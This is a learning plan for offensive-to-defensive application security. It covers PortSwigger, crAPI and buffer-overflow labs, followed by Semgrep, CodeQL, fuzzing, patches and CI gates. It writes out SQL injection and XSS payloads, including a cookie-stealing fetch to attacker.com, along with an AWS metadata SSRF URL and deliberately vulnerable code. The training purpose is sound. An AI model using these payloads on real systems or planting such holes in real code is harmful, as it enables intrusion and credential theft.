OFFENSIVE SECURITY TO
SECURE ENGINEERING PIPELINE

8-Week Implementation Guide for Aditya

MISSION PHILOSOPHY

"Understand exploitation deeply enough to engineer secure systems systematically."

This document provides week-by-week execution steps, concept clarity, tool usage, and checkpoint goals across the full Red Team → Secure SDLC pipeline.

Skill Domain	Coverage
Web Exploitation	SQLi, XSS, BOLA/IDOR, SSRF
Binary Exploitation	Stack overflow, EIP control, shellcode
API Security	crAPI black-box, mass assignment, BOLA
SAST	Semgrep rules, CodeQL taint analysis
Dynamic Analysis	Atheris fuzzing, crash correlation
Secure Engineering	ORM patches, auth middleware, regression CI
DevSecOps	GitHub Actions gates, policy enforcement

PRE-REQUISITE SETUP

Before Day 1 of Week 1, ensure the following toolchain is fully installed and verified.

1. Burp Suite Community Edition

> **WHAT IS BURP SUITE?**
> Burp Suite is an HTTP interception proxy. Every HTTP/S request your browser makes passes through it — letting you pause, inspect, modify, and replay requests.
> Think of it as a 'man-in-the-middle' you control for offensive testing.

Installation Steps:

1. Download from: https://portswigger.net/burp/communitydownload
2. Install and launch Burp Suite Community Edition
3. Open the embedded Chromium browser: Proxy → Open Browser
4. Verify interception: Go to Proxy → Intercept → toggle ON
5. Browse any HTTP site — Burp should capture the request
6. Right-click a captured request → Send to Repeater
7. In Repeater tab, click Send — verify you get a response

2. Docker Engine

> **WHAT IS DOCKER?**
> Docker runs isolated containers — self-contained environments with their own OS, libraries, and services. You'll use it to deploy vulnerable targets (crAPI, your own vulnerable API) without polluting your main system. Each container is disposable.

Installation (Ubuntu/WSL2):

```
sudo apt update && sudo apt install -y docker.io docker-compose
sudo usermod -aG docker $USER  # add yourself to docker group
docker run hello-world          # verify installation
```

3. Linux Environment (WSL2 / Ubuntu / Kali)

Binary exploitation requires native Linux. On Windows, use WSL2:

```
# Enable WSL2 in PowerShell (admin)
wsl --install -d Ubuntu
# Install GDB with PEDA extension for binary analysis
sudo apt install -y gdb python3-pip gcc
pip3 install pwntools
```

4. VS Code with Extensions

Install these extensions for source review and exploit tracing:

- Python + Pylance (for Week 2+ FastAPI work)

- REST Client or Thunder Client (for API testing)
- GitLens (for code history analysis)
- Semgrep extension (for inline SAST feedback in Week 3)

WEEK 1

Vulnerability Mechanics & Applied Exploitation

Week 1 has 4 sequential stages across 7 days. Each stage builds on the previous. The goal is to develop exploitation intuition before you ever write a patch.

STAGE 1: Web & Logic Mechanics (Days 1–2)

Platform: PortSwigger Web Security Academy (portswigger.net/web-security)

Task 1: Configure Intercepting Proxy

Step-by-step verification checklist:

8. Open Burp Suite → Proxy tab → Options → confirm listener on 127.0.0.1:8080
9. Click 'Open Browser' (embedded Chromium — already proxy-configured)
10. Toggle Intercept ON → visit http://example.com
11. See the request pause in Burp → examine headers: Host, Cookie, User-Agent
12. Right-click → Send to Repeater → modify a header → click Send
13. Observe the server's response in the right panel

Task 2: SQL Injection (SQLi)

HOW SQL INJECTION WORKS

SQL Injection occurs when user input is concatenated directly into a SQL query.
The database cannot distinguish data from commands, so an attacker can alter the query's logic. Example vulnerable query:

```
SELECT * FROM users WHERE username='$input' AND password='$pw'
```

Attacker input: admin'-- (the -- comments out the password check entirely).
The query becomes: SELECT * FROM users WHERE username='admin'--
Authentication is bypassed — the password check never runs.

Lab 1: Authentication Bypass

14. Go to: portswigger.net/web-security/sql-injection → Lab: 'SQL injection vulnerability in WHERE clause'
15. In the category filter URL: ?category=Gifts
16. Modify to: ?category=Gifts' OR 1=1--
17. This makes the WHERE clause always TRUE — all products returned
18. In Burp Repeater, send the modified request and observe the full product list
19. Checkpoint: Can you see products from hidden categories?

Lab 2: UNION Attack

UNION ATTACK MECHANICS

UNION attacks allow you to append additional SELECT queries to the original.
To succeed: the UNION query must have the same number of columns as the original.
Technique: first determine column count with ORDER BY, then extract data.
Example: ' UNION SELECT null,username,password FROM users--

20. Determine column count: inject ' ORDER BY 1-- then ORDER BY 2-- until error
21. Find string columns: ' UNION SELECT NULL,'test',NULL--
22. Extract data: ' UNION SELECT NULL,username||':'||password,NULL FROM users--
23. Use Burp Repeater for every injection to capture raw responses

Lab 3: Hidden Table Extraction

24. Query information_schema: ' UNION SELECT table_name,NULL FROM information_schema.tables--
25. Identify interesting tables from the output
26. Extract columns: ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
27. Dump credentials: ' UNION SELECT username,password FROM users--

Task 3: Cross-Site Scripting (XSS)

XSS — THREE TYPES EXPLAINED

XSS injects JavaScript into web pages viewed by other users.
Reflected XSS: payload in URL, executed immediately in the victim's browser.
Stored XSS: payload saved to the database, executed every time the page loads.
The attacker's JS runs in the victim's browser context — with their cookies, sessions.
Classic payload: <script>alert(document.cookie)</script>

Lab 1: Reflected XSS

28. Find a search input — enter a test string: hello
29. Inspect the HTML response: where does 'hello' appear in the DOM?
30. Test: <script>alert(1)</script> — does an alert fire?
31. If filtered, try: <img src=x onerror=alert(1)>
32. In Burp, intercept the search request → send to Repeater → inject payloads

Lab 2: Stored XSS

33. Find a comment/post field that stores data and displays it to other users
34. Post: <script>alert('XSS')</script> as a comment
35. Navigate to the page — the script fires on every page load for every visitor
36. Escalate: steal session cookies with: <script>fetch('https://attacker.com?c='+document.cookie)</script>

Task 4: BOLA / IDOR (Broken Object Level Authorization)

BOLA/IDOR — THE CORE CONCEPT

BOLA (Broken Object Level Authorization) = IDOR (Insecure Direct Object Reference).
The application uses a predictable identifier (user ID, order ID) to reference objects.
The server checks if you're authenticated — but NOT if you own that object.
Attack: change /api/users/123/profile to /api/users/124/profile — you get user 124's data.
This is the #1 API vulnerability (OWASP API Security Top 10).

37. Log in as User A — note your user ID in the URL or API response
38. In Burp Repeater: change your ID to ID+1 (another user's ID)
39. If the server returns that user's data — BOLA is confirmed
40. Test: account details, order history, private messages — any object with an ID
41. Document: what data was exposed? What HTTP method was used?

Task 5: Server-Side Request Forgery (SSRF)

SSRF — SERVER AS YOUR PROXY

SSRF forces the server to make HTTP requests on your behalf.
The server may have access to internal networks, metadata APIs, or admin interfaces
that are not accessible from the internet.
Classic attack: in a 'fetch URL' parameter, inject: http://169.254.169.254/latest/meta-data/
This hits the AWS instance metadata service — leaking credentials and config.

42. Find a parameter that accepts a URL (image fetch, webhook, import)
43. Test internal targets: http://localhost/, http://127.0.0.1:8080/
44. Test cloud metadata: http://169.254.169.254/latest/meta-data/
45. In Burp: use Collaborator (Community: use ngrok) to detect blind SSRF
46. Checkpoint: did you receive a response from an internal endpoint?

STAGE 2: Memory Corruption (Days 3–4)

Platform: OverTheWire (Narnia), PicoCTF

MEMORY LAYOUT & EXPLOITATION MODEL

Binary exploitation attacks programs at the machine code level.
C programs allocate memory on the STACK (local variables, return addresses) and HEAP.
Stack layout for a function call:
[local variables] [saved EBP] [return address] [function arguments]
Buffer overflows write past the end of a local variable buffer — overwriting the return address. When the function returns, execution jumps to your controlled address.
EIP (32-bit) / RIP (64-bit) = Instruction Pointer register — the 'next instruction' pointer.

Task 1: Understand C/C++ Memory Layout

Write and analyze this deliberately vulnerable C program:

```
#include <stdio.h>
#include <string.h>
void secret() { printf("You reached secret!\n"); }
void vulnerable(char *input) {
    char buffer[64];           // 64-byte stack buffer
    strcpy(buffer, input);     // NO bounds check — dangerous
}
int main(int argc, char *argv[]) {
    vulnerable(argv[1]);
    return 0;
}
```

Compile with protections disabled (for learning):

```
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie
```

Analyze with GDB:

```
gdb ./vuln
(gdb) disas vulnerable      # disassemble the function
(gdb) b vulnerable           # set breakpoint
(gdb) r AAAA                 # run with input 'AAAA'
(gdb) info registers         # examine EIP, ESP, EBP
(gdb) x/20xw $esp            # examine 20 words from stack pointer
```

Task 2: Trigger Stack-Based Buffer Overflow

FINDING THE OFFSET

To overflow the buffer you need to know the exact offset from buffer start to return address.
Technique 1: Send 64 A's (buffer) + 4 B's (saved EBP) + 4 C's (return addr).
If EIP contains 0x43434343 (CCCC) — your offset is exactly 68 bytes.
Technique 2: Use pwntools cyclic() to generate a pattern and find the offset automatically.

47. Generate a cyclic pattern: python3 -c "from pwn import *; print(cyclic(200))"
48. Run the binary under GDB with this pattern as input
49. When it crashes, check EIP: (gdb) info registers
50. Find offset: python3 -c "from pwn import *; print(cyclic_find(0x<EIP_value>))"
51. Craft exploit: python3 -c "print('A'*<offset> + 'B'*4)" — EIP should be 0x42424242

Task 3: Control Execution Flow

52. Find the address of secret() function: (gdb) p secret OR objdump -d vuln | grep secret
53. Craft payload: python3 -c "import struct; print('A'*68 + struct.pack('<I', 0xDEADBEEF))"
54. Replace 0xDEADBEEF with secret()'s actual address
55. Run: ./vuln $(python3 exploit.py)
56. Expected output: 'You reached secret!' — execution was redirected
57. OverTheWire Narnia: ssh narnia0@narnia.labs.overthewire.org -p 2226
58. PicoCTF: search 'buffer overflow' challenges in the practice arena

STAGE 2 CORE LESSON

Key takeaway from Stage 2: memory bugs give full control over execution.
This is why secure coding in C/C++ requires: bounds-checked functions (strncpy not strcpy), ASLR (randomizes memory layout), stack canaries (detect overwrites before return), NX/DEP (marks stack non-executable). You're learning WHY these defenses were invented.

STAGE 3: Full-System API Exploitation (Days 5–6)

Platform: OWASP crAPI — Completely Ridiculous API

> **WHAT IS crAPI?**
> crAPI is a deliberately vulnerable REST API simulating a car ownership platform.
> It contains real-world API vulnerabilities from the OWASP API Security Top 10.
> You'll attack it as a black-box — no source code, just API endpoints.
> This mirrors a real penetration test against a microservices application.

Task 1: Deploy crAPI Sandbox

```
git clone https://github.com/OWASP/crAPI.git
cd crAPI
docker-compose -f deploy/docker/docker-compose.yml up -d
# Wait 60 seconds for all services to start
docker ps   # verify all containers are running
# Access at: http://localhost:8888
```

Services in crAPI:

- Frontend: port 8888
- API Gateway: port 8080
- Mail server (Mailhog): port 8025 — intercept registration emails here

Task 2: Map the Attack Surface

> **ATTACK SURFACE MAPPING**
> Attack surface mapping = understanding every entry point an attacker can reach.
> For APIs: list all endpoints, HTTP methods, parameters, and authentication requirements.
> Tools: Burp's built-in proxy history, or use the browser DevTools Network tab.

59. Register two accounts: user_a@test.com and user_b@test.com
60. Use Mailhog (localhost:8025) to retrieve verification emails
61. With Burp intercepting, explore every feature: profile, vehicles, dashboard, shop, community
62. Build endpoint inventory — note JWT tokens in Authorization headers
63. Document: endpoint path, method, auth required, parameters expected

Example endpoint inventory format:

Endpoint	Notes
GET /identity/api/v2/user/dashboard	Auth required — returns logged-in user object
GET /identity/api/v2/user/vehicle	Returns vehicle IDs linked to account
POST /community/api/v2/community/posts	Creates community post

GET /workshop/api/mechanic/mechanic_report	Admin endpoint — check for BOLA

Task 3: Exploit BOLA for Data Exfiltration

64. Log in as user_a — note your vehicle ID from the dashboard
65. In Burp Repeater: GET /workshop/api/mechanic/mechanic_report?report_id=<ID>
66. Change report_id to sequential values: 1, 2, 3... — do you get other users' reports?
67. Try: GET /identity/api/v2/user/<email>/vehicles — use user_b's email
68. If you see user_b's data while authenticated as user_a — BOLA confirmed
69. Document: exact endpoint, parameter changed, data exposed

Task 4: Elevate Privileges via Mass Assignment

MASS ASSIGNMENT ATTACK

Mass Assignment occurs when an API binds ALL user-supplied JSON fields to a server object without filtering. If the server object has a 'role' or 'isAdmin' field, an attacker can inject it: POST /api/user/update with body: {"name":"Aditya", "role":"admin"}
The server blindly sets role=admin — privilege escalation achieved.

70. Find a vehicle registration or profile update endpoint
71. Intercept the normal request — observe the JSON body
72. Add extra fields: 'vehicleLocation': true or 'pincode': '000000'
73. Try injecting 'isAdmin': true or 'credit': 9999 into account update requests
74. Observe if the injected fields take effect on the server response
75. crAPI challenge: can you get free credits by manipulating the coupon endpoint?

STAGE 4: Code-to-Exploit Synthesis (Day 7)

Platform: Local IDE (VS Code) + crAPI source code review

> **WHY CODE-TO-EXPLOIT SYNTHESIS MATTERS**
> This stage bridges exploitation and engineering. You've found the bugs from outside (black-box). Now open the source code and find EXACTLY where each vulnerability lives.
> This skill — tracing an exploit back to a specific function and line — is the core of Application Security Engineering. It's what separates 'I can run tools' from 'I understand and can fix the architecture.'

Task 1: Map Exploits to Source Code

76. Clone/open crAPI source: the API services are under services/
77. For the BOLA you found: search for the vulnerable endpoint handler
78. Example — find mechanic_report handler and check: does it validate ownership?
79. For Mass Assignment: find the model/schema — does it use a whitelist of allowed fields?
80. For SQLi (if found): search for raw string concatenation in database queries
81. Mark each finding: file, line number, vulnerable pattern, exploit type

BOLA root cause pattern to search for:

```
# VULNERABLE — no ownership check:
def get_report(report_id):
    return db.query('SELECT * FROM reports WHERE id = %s', report_id)
```

```
# SECURE — ownership validated:
def get_report(report_id, current_user):
    report = db.query('SELECT * FROM reports WHERE id = %s', report_id)
    if report.owner_id != current_user.id:
        raise HTTPException(status_code=403, detail='Forbidden')
    return report
```

Task 2: Draft Theoretical Patches

For each vulnerability found, write a patch specification (no code yet — just design):

Vulnerability	Patch Strategy
BOLA on report endpoint	Add ownership check middleware. Every object fetch must verify current_user.id == object.owner_id. Centralize in an authorization decorator.
Mass Assignment on vehicle update	Use explicit field whitelisting (Pydantic model with fixed fields). Never pass raw request JSON directly to ORM.
SQLi in search/filter	Replace raw string SQL with ORM queries or parameterized queries. Input: db.execute(query, [param]) never f-strings.

SSRF in URL fetch	Validate URL against allowlist of domains. Block private IP ranges: 10.x, 172.16.x, 192.168.x, 127.x, 169.254.x

WEEK 2

Target Construction & Threat Modeling

WEEK 2: BUILD YOUR OWN VULNERABLE API

WEEK 2 PHILOSOPHY

You're now the defender building the target. You'll create a FastAPI microservice that deliberately contains the vulnerabilities you exploited in Week 1.
Building vulnerable systems intentionally deepens your understanding of how these flaws arise in real codebases — and makes patching them in Weeks 5–6 much more meaningful.

Task 1: Build the Vulnerable FastAPI Application

Project structure:

```
vulnerable-api/
├── app/
│   ├── main.py          # FastAPI app entry point
│   ├── routes/
│   │   ├── users.py     # user endpoints (BOLA here)
│   │   ├── orders.py    # order endpoints (BOLA here)
│   │   └── admin.py     # admin endpoints (privilege escalation)
│   ├── models.py        # SQLAlchemy ORM models
│   └── database.py      # DB connection
├── Dockerfile
└── docker-compose.yml
```

Seed these specific vulnerabilities intentionally:

- SQLi: Use f-string SQL queries — SELECT * FROM users WHERE name='{input}'
- BOLA: Fetch orders by ID with no ownership check
- SSRF: Accept a URL parameter and fetch it server-side without validation
- Mass Assignment: Accept full JSON body and pass directly to ORM .update()

Task 2: Threat Model — STRIDE Framework

STRIDE THREAT MODELING

STRIDE is a threat modeling framework: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege.
A threat model documents: What are the assets? Who are the attackers? What are the trust boundaries? Where does data flow and what can go wrong?
Your output: a Data Flow Diagram (DFD) + threat table mapping STRIDE categories to risks.

STRIDE Category	Example in Your API

Spoofing	Attacker forges a JWT token to authenticate as another user
Tampering	Attacker modifies an order ID in the request to access another order
Repudiation	No audit log — user denies making a request, no evidence
Information Disclosure	SQLi leaks all user credentials from the database
Denial of Service	SSRF hits internal services, exhausting resources
Elevation of Privilege	Mass assignment sets role=admin on a regular user account

WEEK 3

SAST Integration & Baseline Scanning

WEEK 3: AUTOMATED CODE SCANNING WITH SEMGREP

WHAT IS SAST / SEMGREP?

SAST (Static Application Security Testing) analyzes source code without running it. Semgrep is a fast, pattern-based scanner. You write rules in YAML that describe vulnerable code patterns. Semgrep scans your AST (Abstract Syntax Tree) for matches. Think of it as regex — but it understands code structure, not just text.

Task 1: Install and Run Semgrep

```
pip install semgrep
cd vulnerable-api/
semgrep --config=auto .                  # run all auto-detected rules
semgrep --config=p/python .              # Python-specific ruleset
semgrep --config=p/owasp-top-ten .       # OWASP Top 10 rules
```

Task 2: Write a Custom Semgrep Rule for SQLi

Create file: rules/sqli-fstring.yaml

```
rules:
  - id: sql-injection-fstring
    patterns:
      - pattern: db.execute(f"...{$VAR}...")
      - pattern: cursor.execute(f"...{$VAR}...")
    message: "SQL injection via f-string. Use parameterized queries."
    languages: [python]
    severity: ERROR
```

```
semgrep --config=rules/sqli-fstring.yaml app/
```

Task 3: GitHub Actions CI Pipeline

Create: .github/workflows/sast.yml

```
name: SAST Security Scan
on: [push, pull_request]
jobs:
  semgrep:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: returntocorp/semgrep-action@v1
```

```
      with:
        config: >-
          p/python
          p/owasp-top-ten
          rules/sqli-fstring.yaml
```

□ TRUE VS FALSE POSITIVES

True Positive: Semgrep flags a real vulnerability — matches an actual f-string SQL query.
False Positive: Semgrep flags safe code — a string that looks like SQL but isn't executed.
Action: Review every finding. Mark FPs with a comment: # nosemgrep: rule-id
Document your TP/FP ratio — this is a key metric in real AppSec work.

WEEK 4

Advanced Static Analysis & Taint Flow

WEEK 4: CODEQL TAINT FLOW ANALYSIS

CODEQL & TAINT ANALYSIS

CodeQL converts your source code into a relational database (an AST + CFG + data flow graph).
You query this database using QL — a SQL-like language for code.
Taint Analysis tracks 'tainted' (attacker-controlled) data from a SOURCE through the code to a SINK (dangerous function). If a path exists without sanitization — it's a bug.
Source example: request.query_params['input'] Sink example: db.execute(query)

Task 1: Build a CodeQL Database

```
# Install CodeQL CLI
wget https://github.com/github/codeql-action/releases/latest/download/codeql-bundle-linux64.tar.gz
tar -xzf codeql-bundle-linux64.tar.gz
export PATH=$PATH:$(pwd)/codeql
```

```
# Create database for your Python project
codeql database create mydb --language=python --source-root=app/
```

Task 2: Run Built-in SQLi Query

```
codeql database analyze mydb python-security-and-quality.qls \
    --format=csv --output=results.csv
```

Task 3: Write a Custom BOLA Detection Query

Create: queries/bola-detection.ql

```
import python
import semmle.python.dataflow.new.DataFlow
import semmle.python.dataflow.new.TaintTracking

// Find functions that fetch objects by ID but never check ownership
from Function f, Call dbCall
where
  dbCall.getEnclosingFunction() = f and
  // DB query takes an 'id' parameter from request
  not exists(Call authCheck |
    authCheck.getEnclosingFunction() = f and
    authCheck.getFunc().getName() in ["get_current_user", "authorize"]
  )
```

```
select f, "Possible BOLA: fetches object by ID without authorization check"
```

AST / CFG / TAINT — EXPLAINED

AST = Abstract Syntax Tree — represents code structure as a tree (nodes are expressions/statements).

CFG = Control Flow Graph — represents all possible execution paths through the code.

Data Flow Graph — tracks how values move between variables across the program.

Taint Tracking = data flow but labeled: attacker-controlled values are 'tainted'.

A CodeQL query asks: 'Is there any path from a tainted source to an unsafe sink?'

WEEK 5

Dynamic Verification via Fuzzing

WEEK 5: ATHERIS FUZZING

FUZZING & ATHERIS

Fuzzing = automated generation of random/mutated inputs to find crashes and unexpected behavior.
Coverage-guided fuzzing tracks which code paths each input exercises. Inputs that trigger new code paths are saved and mutated further. This maximizes bug discovery.
Atheris is Google's coverage-guided Python fuzzer — it instruments your Python code and drives it with mutated byte sequences until it crashes or panics.

Task 1: Write Atheris Harnesses

```
pip install atheris
```

```
# fuzz_harness.py — test your SQL query builder
import atheris
import sys
from app.routes.users import search_users  # your vulnerable function

def TestOneInput(data):
    fdp = atheris.FuzzedDataProvider(data)
    user_input = fdp.ConsumeUnicodeNoSurrogates(64)
    try:
        search_users(user_input)
    except Exception:
        pass  # expected errors
    # If process crashes — atheris records the crashing input

atheris.Setup(sys.argv, TestOneInput)
atheris.Fuzz()
```

```
python fuzz_harness.py -max_total_time=60  # fuzz for 60 seconds
```

Task 2: Correlate Crashes with Code

82. When Atheris finds a crash, it saves the input to crash-<hash> file
83. Run with that input manually: python -c "import app; app.search_users('<crash_input>')"
84. Get a stack trace — note the file and line number
85. Cross-reference with your CodeQL/Semgrep findings — do they point to the same line?
86. If Semgrep flagged line 47 and Atheris crashes on line 47 — finding is confirmed exploitable
87. This correlation is the key deliverable: SAST + fuzzer = high-confidence finding

WEEK 6

Formal Engineering Patches

WEEK 6: SECURE REFACTORING

> **STRUCTURAL vs SURFACE PATCHING**
> This week you apply all your findings as real, production-quality fixes.
> The standard is not 'make it work' — it's 'make it structurally secure'.
> Structural security means the vulnerability class is architecturally impossible,
> not just patched in one place. Example: parameterized queries everywhere, not just in search.

Task 1: Patch SQLi — ORM / Parameterized Queries

```
# BEFORE (vulnerable) — raw f-string SQL:
def search_users(name: str):
    result = db.execute(f"SELECT * FROM users WHERE name='{name}'")
    return result.fetchall()
```

```
# AFTER (secure) — parameterized query:
def search_users(name: str):
    result = db.execute("SELECT * FROM users WHERE name=:name", {"name": name})
    return result.fetchall()
```

```
# BEST — SQLAlchemy ORM (SQL never written manually):
def search_users(name: str, db: Session):
    return db.query(User).filter(User.name == name).all()
```

Task 2: Patch BOLA — Authorization Middleware

```
# Centralized authorization decorator:
from functools import wraps
from fastapi import HTTPException, Depends

def require_ownership(resource_type: str):
    def decorator(func):
        @wraps(func)
        async def wrapper(*args, resource_id: int,
current_user=Depends(get_current_user), **kwargs):
            resource = db.get(resource_type, resource_id)
            if resource.owner_id != current_user.id:
                raise HTTPException(status_code=403, detail='Forbidden')
            return await func(*args, resource_id=resource_id, **kwargs)
        return wrapper
    return decorator
```

```
# Usage — ONE decorator, protection everywhere:
@router.get('/orders/{order_id}')
@require_ownership('orders')
async def get_order(order_id: int):
    ...
```

Task 3: Patch Mass Assignment — Pydantic Whitelisting

```
# BEFORE (vulnerable) — accepts anything:
@router.put('/user/update')
async def update_user(data: dict, user = Depends(get_current_user)):
    db.query(User).filter(User.id==user.id).update(data)   # DANGEROUS
```

```
# AFTER (secure) — explicit allowed fields only:
class UserUpdateSchema(BaseModel):
    name: Optional[str] = None
    email: Optional[str] = None
    # role, isAdmin, credit — NOT here

@router.put('/user/update')
async def update_user(data: UserUpdateSchema, user = Depends(get_current_user)):
    update_data = data.dict(exclude_unset=True)   # only provided fields
    db.query(User).filter(User.id==user.id).update(update_data)
```

WEEKS 7 & 8

Pipeline Enforcement & Final Evaluation

WEEKS 7–8: CI/CD GATES & FINAL REPORT

Task 1: Configure Strict CI/CD Security Gates

Update .github/workflows/security.yml for hard gates:

```
name: Security Gate
on: [push, pull_request]
jobs:
  sast-gate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run Semgrep
        run: semgrep --config=p/owasp-top-ten --error .  # exits non-zero on HIGH
  fuzz-gate:
    runs-on: ubuntu-latest
    steps:
      - run: python fuzz_harness.py -max_total_time=120
        # If any crash is found, workflow fails
  auth-unit-tests:
    runs-on: ubuntu-latest
    steps:
      - run: pytest tests/test_authorization.py -v
```

Task 2: Write Authorization Unit Tests

```
# tests/test_authorization.py
def test_bola_prevented(client, user_a_token, user_b_order_id):
    # User A should NOT access User B's order
    response = client.get(
        f'/orders/{user_b_order_id}',
        headers={'Authorization': f'Bearer {user_a_token}'}
    )
    assert response.status_code == 403  # Forbidden
```

Task 3: Final Evaluation Report Structure

Your final report is a professional AppSec engagement document. Sections:

Section	Content

1. Executive Summary	High-level findings, severity distribution, overall security posture before/after
2. Threat Model	Trust boundaries, DFD, STRIDE analysis table, attack surface inventory
3. Findings Register	Each vulnerability: CVE reference, severity, CVSS score, affected endpoint, PoC, evidence
4. Root Cause Analysis	File + line for each finding. Taint flow traced from source to sink. AST path.
5. Remediation	Before/after code diff for each fix. Why the fix is structurally secure.
6. Pipeline Documentation	Semgrep rules, CodeQL queries, Atheris harnesses, GitHub Actions config
7. Architectural Improvements	Defense-in-depth: auth middleware, input validation layer, security headers, WAF
8. Regression Evidence	CI/CD gate screenshots, test results proving patches hold, fuzzer clean run

QUICK REFERENCE — TOOLS & COMMANDS

Tool	Key Commands
Burp Suite	Proxy → Intercept ON | Right-click → Send to Repeater | Repeater → modify & Send
Docker	docker-compose up -d | docker ps | docker logs <container> | docker-compose down
GDB	gdb ./binary | r <args> | b <func> | info registers | x/20xw $esp | disas <func>
pwntools	from pwn import * | cyclic(200) | cyclic_find(value) | p32(address)
Semgrep	semgrep --config=auto . | semgrep --config=rules/custom.yaml . | semgrep --error .
CodeQL	codeql database create mydb --language=python | codeql database analyze mydb
Atheris	pip install atheris | python fuzz.py -max_total_time=60 | replay crash: python fuzz.py <crashfile>
pytest	pytest tests/ -v | pytest tests/test_auth.py | pytest --tb=short

WEEKLY CHECKPOINT GOALS

Week	Must-Have Deliverable
Week 1	Burp screenshots of 4 exploited labs + GDB buffer overflow demo + crAPI BOLA PoC + patch spec doc
Week 2	Running containerized vulnerable API with 4 seeded vulns + STRIDE threat model document
Week 3	Semgrep scan with custom rules, TP/FP triage log, GitHub Actions pipeline running on PR
Week 4	CodeQL database built, taint query finding SQLi source-to-sink, custom BOLA QL query
Week 5	Atheris harness for each endpoint, ≥1 crash found and reproduced, SAST-fuzzer correlation
Week 6	All 4 vulnerability classes patched (ORM, auth middleware, Pydantic schema, URL allowlist)
Week 7	CI/CD gates failing on re-introduced vulns, auth unit tests passing, no fuzzer crashes
Week 8	Complete professional AppSec report with all 8 sections, architecture diagram, regression proof

CAREER IMPACT

Industry Roles This Pipeline Prepares You For:

- Application Security Engineer — code review, SAST, secure design
- Product Security Engineer — threat modeling, secure SDLC, developer enablement
- Offensive Security / Red Team — web app + binary + API exploitation
- DevSecOps Engineer — security pipeline automation, CI/CD gates, policy-as-code
- Security Researcher — vulnerability discovery, taint analysis, fuzzing

This is not a beginner roadmap. The hard parts are taint propagation, CodeQL queries, exploit-to-source correlation, fuzz harness engineering, and proper authorization models. Most people can run PortSwigger labs. Far fewer can patch an architecture and prove it holds.